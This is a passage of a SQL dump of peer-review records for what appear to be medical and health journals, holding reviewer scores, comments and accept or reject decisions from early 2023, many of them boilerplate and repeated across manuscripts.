cure it before it spreads to the whole body.\r\n','Accept the article for publication','2023-02-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5236,21547,13431,NULL,'5','R','Y','Y','N','This insightful review delves into the rich history and scientific foundation of herbal medicine, emphasizing its ancient roots dating back 60,000 years. The article eloquently discusses how the resilience of plants in hostile environments has contributed to their evolution as potent sources of therapeutic compounds. The incorporation of molecular recognition properties in Ayurveda showcases the sophisticated understanding of herbal plants in traditional practices.\r\n\r\nThe comparison drawn between herbal medicine and allopathic drugs underscores the superior attributes of herbal remedies. The attention to Ayurvedic characteristics highlights the increasing interest among scientists in exploring natural resources for next-generation anti-treatments. The diverse sources of herbal remedies, including leaves, bark, berries, flowers, and roots, provide a holistic perspective on the potential applications of plant-based treatments.\r\n\r\nThe review pays homage to the rich historical references and treatises in India, citing the works of eminent figures such as Dhanwantari, Nagarjun, and Sushrut. The inclusion of independent treatises spanning over a thousand years reflects the depth and continuity of herbal medicine practices. The exploration of lithiasis medications, particularly the ability of certain plants to thrive in challenging environments, adds a fascinating dimension to the discussion.\r\n\r\nA notable aspect of the review is its commitment to consolidating scientific knowledge on plants used in anti-lithiasis studies. By presenting a comprehensive overview, the article serves as a valuable resource for researchers and enthusiasts interested in delving into the intricacies of anti-lithiasis research. The acknowledgment of recent scientific studies validating Ayurvedic claims adds credibility to the ancient wisdom encapsulated in herbal medicine.\r\n\r\nIn conclusion, this review paper stands as a commendable effort to bridge the historical richness of herbal medicine with contemporary scientific understanding. Its potential to guide future research in the field of anti-lithiasis makes it an advantageous read for those seeking to contribute to this evolving realm of study.\r\n\r\n','I highly recommend this study for publication. I emphatically prescribe this paper to be published in the International Journal of Drug Development and Research','2023-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5237,11353,13448,NULL,'4','g','n','y','y','1.	the topic is not unique but worthy of researching\r\n2.	there are thousands of papers in google scholar and Refseek about this topic since 2019\r\n3.	the title is attractive\r\n4.	the abstract contains plagiarism. Please revise it\r\n5.	the aim is clear\r\n6.	the KEYWORDS are fair. Please use http://www.ncbi.nlm.nih.gov/mesh \r\n7.	lack of the abbreviations section\r\n8.	the introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses \r\n9.	the text arrangement is good\r\n10.	the logic is clear\r\n11.	the paper is not novel \r\n12.	there are few grammatical errors in this article\r\n13.	the related concepts are introduced \r\n14.	the readability is sufficient\r\n15.	the results are good\r\n16.	lack of the figures/tables are clear enough to summarize the results for presentation to the readers\r\n17.	the theoretical analysis in this article is sufficient\r\n18.	the discussion of results from multiple angles is sufficient\r\n19.	the conclusion is good\r\n20.	the reference section contains old ref\r\n21.	please use google scholar search engine then set it since 2019\r\n22.	the references are in order within the text\r\n23.	Bias is present\r\n24.	There is no conflict of interest with the author about this topic\r\n25.	Fund is not mentioned\r\n26.	Ethical approval is not mentioned \r\n27.	Conflict of interest is mentioned\r\n28.	Acknowledgement is not mentioned\r\n29.	You can use my suggestions\r\n\r\nMy final decision is acceptable after minor revision\r\n','Dear Editor, thank you for giving me an opportunity to review this manuscript\r\nThis is a medium expert author\r\nPlease check the plagiarism\r\nLack of figures and table\r\nmy final decision is acceptable after minor revision \r\n','2023-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5238,11353,13446,NULL,'1','g','n','y','y','n','This is a published paper\r\nhttps://www.itmedicalteam.pl/articles/public-health-interventions-to-prevent-cardiovascular-diseases-are-based-on-epidemiology-translational-researchs-function-117612.html \r\nmy final decision is rejection \r\n','2023-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5239,12867,13208,NULL,'5','g','y','y','y','The study regarding Based on these findings, it could be inferred that nurses are relatively good job satisfaction in General Hospitals in Borno state. \r\nThere are significant and positive relationships between job satisfaction and the productivity of the nurses. This implies that an increase in the application of both the motivating and hygiene factors leads to a corresponding increase in job satisfaction. This has practical implications for policymakers and implementers The healthcare system in Nigeria is faced with many challenges including unfair distribution of the nursing workforce, and an increasing “brain drain” culminating in a shortage of skilled and competent nursing workforce','Accepted ','2023-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5240,8795,13213,NULL,'5','g','y','y','y','Accepted for the publications',' ','2023-02-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5241,21395,13416,NULL,'5','5','5','5','5','I appreciate the chance to serve as a reviewer on this paper. The paper is well written and suits the scope of the issue. I believe that the paper could be of interest to an international audience since it deals with a very interesting topic. \r\nThe present study aimed to develop a tool that evaluates awareness, knowledge, and practice about Heart failure is a clinical syndrome among Teachers and to validate, and test the reliability of the questionnaire. \r\n Introduction\r\nAuthor clearly mentioned about the medical services, and health care professionals have the responsibility to early identify heart failure is a clinical syndrome in people, yet several cases go unnoticed until they enter the countries because of the increases in the life expectancy of heart patients, in addition to population aging well-constructed and justified.\r\nMethod\r\nParticipant’s procedure is well explained. Bibliographic review was carried out by the journals in English and Spanish. Explaining the current scenario of the countries and there procedure was described clearly. \r\nResults\r\nThe tables and figures are well-designed and implemented for the subject. In Table 1 and Figure 1&2 expert rating and content validity index are provided for each domain of the questionnaire\r\nOverall evaluation: article it is suitable for publication in current version\r\n','','2023-02-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5242,21395,13416,NULL,'5','5','5','5','5','I appreciate the chance to serve as a reviewer on this paper. The paper is well written and suits the scope of the issue. I believe that the paper could be of interest to an international audience since it deals with a very interesting topic. \r\nThe present study aimed to develop a tool that evaluates awareness, knowledge, and practice about Heart failure is a clinical syndrome among Teachers and to validate, and test the reliability of the questionnaire. \r\n Introduction\r\nAuthor clearly mentioned about the medical services, and health care professionals have the responsibility to early identify heart failure is a clinical syndrome in people, yet several cases go unnoticed until they enter the countries because of the increases in the life expectancy of heart patients, in addition to population aging well-constructed and justified.\r\nMethod\r\nParticipant’s procedure is well explained. Bibliographic review was carried out by the journals in English and Spanish. Explaining the current scenario of the countries and there procedure was described clearly. \r\nResults\r\nThe tables and figures are well-designed and implemented for the subject. In Table 1 and Figure 1&2 expert rating and content validity index are provided for each domain of the questionnaire\r\nOverall evaluation: article it is suitable for publication in current version\r\n','','2023-02-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5243,21395,13416,NULL,'5','5','5','5','5','I appreciate the chance to serve as a reviewer on this paper. The paper is well written and suits the scope of the issue. I believe that the paper could be of interest to an international audience since it deals with a very interesting topic. \r\nThe present study aimed to develop a tool that evaluates awareness, knowledge, and practice about Heart failure is a clinical syndrome among Teachers and to validate, and test the reliability of the questionnaire. \r\n Introduction\r\nAuthor clearly mentioned about the medical services, and health care professionals have the responsibility to early identify heart failure is a clinical syndrome in people, yet several cases go unnoticed until they enter the countries because of the increases in the life expectancy of heart patients, in addition to population aging well-constructed and justified.\r\nMethod\r\nParticipant’s procedure is well explained. Bibliographic review was carried out by the journals in English and Spanish. Explaining the current scenario of the countries and there procedure was described clearly. \r\nResults\r\nThe tables and figures are well-designed and implemented for the subject. In Table 1 and Figure 1&2 expert rating and content validity index are provided for each domain of the questionnaire\r\nOverall evaluation: article it is suitable for publication in current version\r\n','','2023-02-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5244,10978,13462,NULL,'2','G','D','M','Y','The manuscript requires major corrections. \r\nThe English language and research writing style needs lot of improvement. \r\nAbstract and the complete manuscript needs major corrections. \r\nReference incomplete. ','The manuscript requires major corrections. \r\nThe English language and research writing style needs lot of improvement. \r\nAbstract and the complete manuscript needs major corrections. \r\nReference incomplete. ','2023-02-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5245,11845,13395,NULL,'5','g','y','y','y','Accepted for the Publication',' ','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5246,15660,13460,NULL,'5','g','y','y','y','The article Accepted Without Changes. ','Accept ','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5247,15398,13491,NULL,'4','g','y','y','y','The Article \'\'Commentary Promoting the Purpose of Academic Department Research the Establishment of a Translational Medicine Center\'\' Accepted with minor revisions. ','Accept ','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5248,15183,13490,NULL,'4','g','y','y','y','The Accepted with minor revisions. ','Accepted','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5249,14765,13489,NULL,'4','g','y','y','y','The Accepted with minor revisions. ','Accept ','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5250,16377,13483,NULL,'4','g','y','y','y','The article\'\'Women\'s Cardiovascular Disease Requires A Comprehensive Translational Approach\'\' Accepted with minor revisions. ','Accept ','2023-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5251,21555,13438,NULL,'5','g','y','y','y','The study Regarding suggests that if interventions aimed at reducing the burden of prenatal care are not implemented, the benefits of the ANC associated with early and adequate ANC services may not optimally be achieved. Therefore, strategies to improve the uptake of antenatal care services particularly for disadvantaged women should be targeted at specific components of maternal health.\r\nThe manuscript well written and have all needed headings and it is accepted for the publication.','Accepted','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5252,21564,13451,NULL,'5','g','y','y','y','The paper explores the effect of Attention Deficit Hyperactivity Disorder in children and adolescents who suffer from negative changes in their life due to the loss of a family member or bullying cases, ADHD patients should be trained to cope with their sadness in a family environment as they need emotional support to overcome their sadness alongside medication and therapy. \r\nIn this manuscript file have some grammatical mistakes rectify that and remaining part all standards for the publication.','Accept','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5253,17682,13439,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5254,17682,13439,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5255,17682,13439,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5256,17682,13440,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5257,17682,13441,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5258,17682,13441,NULL,'5','5','5','5','5','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','','2023-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5259,21378,13469,NULL,'5','G','Y','Y','Y','Accept without comments. \r\nGeneral: The author provides results from a survey aimed at understanding the connection between sleep disorders and behavioral abnormalities in adolescents which is an important issue to understand further.','','2023-02-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5260,21567,12960,NULL,'6','G','Y','Y','N','The manuscript is detailed and quite informative. Also, this article discusses novel and unpublished work. Could be published. ','None','2023-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5261,21568,13001,NULL,'5','G','Y','Y','N','This manuscript is detailed and quite informative. Also this article discusses novel and unpublished work. Could be published. ','None','2023-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5262,7212,13500,NULL,'5','G','Y','Y','Y','Outstanding study and well done, The references are good according guidelines.','','2023-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5263,9155,13500,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. ','','2023-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5264,9159,13500,NULL,'5','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript, The introduction is relevant and theory based, Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. The methods are generally appropriate.','','2023-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5265,7213,13500,NULL,'6','G','Y','Y','Y','Overall the information presented represents valuable information.\r\nThe abstract improved statements','','2023-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5266,21528,13504,NULL,'4','G','Y','N','N','Overall, this is a well-written manuscript. The author showed a detailed background and introduction. They are easy to follow and understand. The result and discussion session were nicely presented and neatly depicted. I don\'t have any concerns to publish this article. ','','2023-02-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5267,21528,13505,NULL,'5','R','Y','M','N','Overall, this is a well-written article. The authors showed a detailed background, the statistical analysis session was nicely depicted and presented. The results are easy to understand and follow. I don\'t have any concerns to publish this article. ','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5268,9159,13506,NULL,'5','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript, the introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures.','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5269,9155,13506,NULL,'6','G','Y','Y','Y','Overall the information presented represents valuable information,The abstract improved statements.','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5270,7213,13506,NULL,'5','G','Y','Y','Y','Outstanding study and well done, The references are good according guidelines.','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5271,7213,13506,NULL,'5','G','Y','Y','Y','Outstanding study and well done, The references are good according guidelines.','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5272,7212,13506,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. ','','2023-02-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5273,12274,13509,NULL,'5','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript, The introduction is relevant and theory based, Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures, The methods are generally appropriate.','','2023-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5274,12273,13509,NULL,'6','G','Y','Y','Y','Outstanding study and well done, The references are good according guidelines.\r\n','','2023-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5275,12264,13509,NULL,'6','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, The paper is generally well written and structured. ','','2023-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5276,12263,13509,NULL,'6','G','Y','Y','Y','Overall the information presented represents valuable information.\r\nThe abstract improved statements.','','2023-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5277,5467,13501,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2023-02-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5278,21529,13525,NULL,'4','G','Y','N','N','This is a well-written article. The authors showed a very detailed background and introduction. The methodology part was well presented and easy for readers to understand. The result session was nicely depicted. I don\'t have any concerns to publish this article. ','','2023-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5279,5467,13502,NULL,'5','g','y','y','y','\r\ngood project\r\ngreat effort\r\n\r\ngood study\r\nevidenced research\r\n\r\nneeds adjusting spelling errors\r\n\r\n\r\nadjust abstract in form of background, methodology, results, conclusion\r\n\r\nreview references, adjust design, remove any bold or underlined\r\n\r\nadd conclusion, discussion as separate aspects after results\r\n\r\nclarify any conflicts','','2023-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5280,21616,13526,NULL,'5','g','y','y','y','1. Tissue culture can be used to produce smooth muscle cells that can be used to create a more natural endothelial lining in coronary stents. This can reduce the risk of thrombosis, restenosis, and other complications that can occur with stent implantation.\r\n\r\n2. Biotechnology techniques such as genetic engineering and recombinant DNA technology can be used to modify the properties of the stent material, making it more biocompatible and less likely to trigger an immune response or inflammation.\r\n\r\n3. Biodegradable polymers can be used in the production of coronary stents, which can reduce the risk of late complications such as restenosis and thrombosis. These polymers can gradually dissolve over time, allowing the stent to be absorbed by the body and reducing the risk of long-term complications.\r\n\r\n4. Tissue engineering techniques can be used to create stents that incorporate living tissue, such as endothelial cells or smooth muscle cells. These stents can better mimic the natural structure of blood vessels, reducing the risk of complications and improving the overall long-term outcomes for patients.\r\n\r\n5. The use of advanced manufacturing techniques, such as 3D printing, can enable the creation of complex stent structures with precise dimensions and features. This can improve the overall performance of the stent and reduce the risk of complications such as malapposition or stent fracture.\r\n\r\n6. The article Accepted Without Changes. \r\n','Tissue culture can be used to create a bioactive coating for coronary stents, which can improve their biocompatibility and reduce the incidence of late complications such as restenosis and thrombosis. This coating can be derived from cells that produce extracellular matrix proteins and growth factors that promote cell adhesion, migration, and proliferation. By using tissue culture, it is possible to produce large quantities of these cells and their secreted products in a controlled and reproducible manner. ','2023-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5281,17405,13529,NULL,'5','G','Y','Y','Y','Overall, with careful consideration of these , the study  provided valuable insights into the perceptions and practices of PCPs regarding the management of HIV in primary care.\r\n\r\n\r\n\r\n\r\n\r\n','','2023-03-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5282,17383,13529,NULL,'5','G','Y','Y','Y','The Author justified the purpose in the abstract throughout the article, and the conclusion gave the article meaning.','','2023-03-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5283,21626,13142,NULL,'3','g','y','y','y','I went through the paper, it is helpful for further research. I am totally impressed with the article. Overall, this is a clear, concise, and well-written manuscript.\r\n','Proceed with the publication.','2023-03-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5284,14685,13502,NULL,'5','g','y','y','y','Reflective practice is a crucial aspect of the healthcare profession, and your review provides valuable insights into this topic. You have done an excellent job highlighting the importance of reflective practice and the various methods healthcare professionals can use to reflect on their practice.\r\n\r\nYour review also touches on the barriers to reflective practice, which is a critical aspect to consider when encouraging healthcare professionals to adopt reflective practice. Providing suggestions on how to overcome these barriers can be helpful in promoting reflective practice.\r\n\r\nThe impact of reflective practice on patient outcomes and healthcare professionals\' job satisfaction is well-articulated in your review. It provides evidence to support the need for healthcare professionals to incorporate reflective practice into their daily routines.\r\n','Accepted\r\n','2023-03-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5285,21529,13540,NULL,'4','G','Y','N','N','This is a well-written article. The authors showed a very detailed background and abstract. The method session was nicely depicted and presented. The results session was easy to follow and understand. I don\'t have any concerns to publish this article. ','','2023-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5286,5467,13555,NULL,'5','g','y','y','y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2023-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5287,11715,13501,NULL,'5','g','y','y','y','The study regarding on sex differentiation, sport skill intervention, and physical fitness status of in-school adolescents in two selected high schools in Nigeria provides valuable insights into the relationship between sports participation and physical fitness levels among male and female adolescents. However, there are some areas where the study could be improved. Below are some specific review comments:\r\n\r\nMethodology: The study could benefit from a more robust methodology, including a larger sample size, a more representative sampling method, and a control group to compare the results of the intervention.\r\n\r\nData analysis: The data analysis could be more comprehensive, including more detailed statistical analysis to test the significance of the results, and a more nuanced interpretation of the findings.\r\n\r\nDiscussion: The discussion could be strengthened by providing more context for the study and drawing more connections between the results and existing literature. Additionally, the discussion could benefit from a more detailed consideration of the implications of the findings for future research and practical applications.\r\n\r\nConclusion: The conclusion could be more concise and focused on the main findings of the study. Additionally, it could include a discussion of the limitations of the study and suggestions for future research.\r\n\r\nLanguage and clarity: The manuscript could be improved in terms of language and clarity, including clearer and more concise writing, consistent formatting, and appropriate use of technical terms and jargon.\r\n\r\nOverall, the study provides valuable insights into the relationship between sports participation and physical fitness among male and female adolescents, but there is room for improvement in terms of methodology, data analysis, discussion, and conclusion\r\n','Accept','2023-03-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5288,21529,13588,NULL,'5','G','Y','N','N','Overall, this is a well-written article. The authors showed a very detailed background and introduction. The case study was nicely depicted and well presented. I don\'t have any concerns to publish this manuscript. ','','2023-03-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5289,14534,13541,NULL,'5','g','y','y','y','A case report is a detailed description of an individual patient\'s medical history, diagnosis, treatment, and outcomes. It is an important component of medical research, as it provides valuable insights into rare or unusual cases and can help identify new diagnostic or treatment strategies\r\n\r\nCompleteness: The report should provide a complete and accurate description of the case, including all relevant medical information.\r\n\r\nValidity: The diagnosis should be well-supported by the available evidence, and the treatment approach should be appropriate.\r\n\r\nSignificance: The report should provide a discussion of the case\'s significance and potential implications for clinical practice.\r\n\r\nOverall, a well-written and comprehensive case report can make a valuable contribution to the medical literature and provide important insights into rare or unusual medical cases.\r\n','Accepted','2023-03-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5290,21627,13140,NULL,'5','r','y','y','y','I would like to thank the editors for giving me the opportunity to review this manuscript. When I examined the article, it was seen that the content, variables and number of patients were sufficient and the findings were consistent. ','','2023-03-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5291,21627,13141,NULL,'5','r','y','y','y','I have to appreciate the author’s interest for selecting a unique and rare topic and this manuscript provides greater information to scientific researchers.\r\n This manuscript is credit worthy and hence it can be published in your esteemed journal.','','2023-03-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5292,21630,13142,NULL,'5','r','y','y','y','The methods are generally appropriate with Plunging Down the Neck-A Rare Case Report of a MNG with Retrosternal Extension.\r\nI am persuaded with the author’s work and accept that it is very well written. It is acknowledged to publish in your Journal.\r\n It is useful for further researchers.','','2023-03-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5293,11689,13567,NULL,'5','g','y','y','y','This research revealed that the bacteriological quality of some milk and milk products sold in Nnewi is not acceptable especially the unbranded soymilk samples that showed gross contamination','Accept ','2023-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5294,16381,13610,NULL,'4','g','y','y','y','The article Accepted with minor revisions.','Accepted ','2023-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5295,15397,13609,NULL,'4','g','y','y','y','1. The paper also highlights the various features that make Slim-Prim a valuable tool for researchers. For example, the database includes a user-friendly interface that allows users to search for specific data elements, as well as tools for data visualization and analysis.\r\n2. One of the strengths of Slim-Prim is its ability to integrate data from various sources, including electronic health records (EHRs), genomics data, and other clinical data.\r\n3. This integration allows researchers to more easily analyze and interpret complex datasets, leading to a deeper understanding of disease mechanisms and potential treatments.\r\n','The article Accepted with minor revisions.','2023-03-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5296,15182,13608,NULL,'4','g','y','y','y','1. Standardization of data: EHR data can be messy and unstructured, which makes it difficult to extract meaningful information. 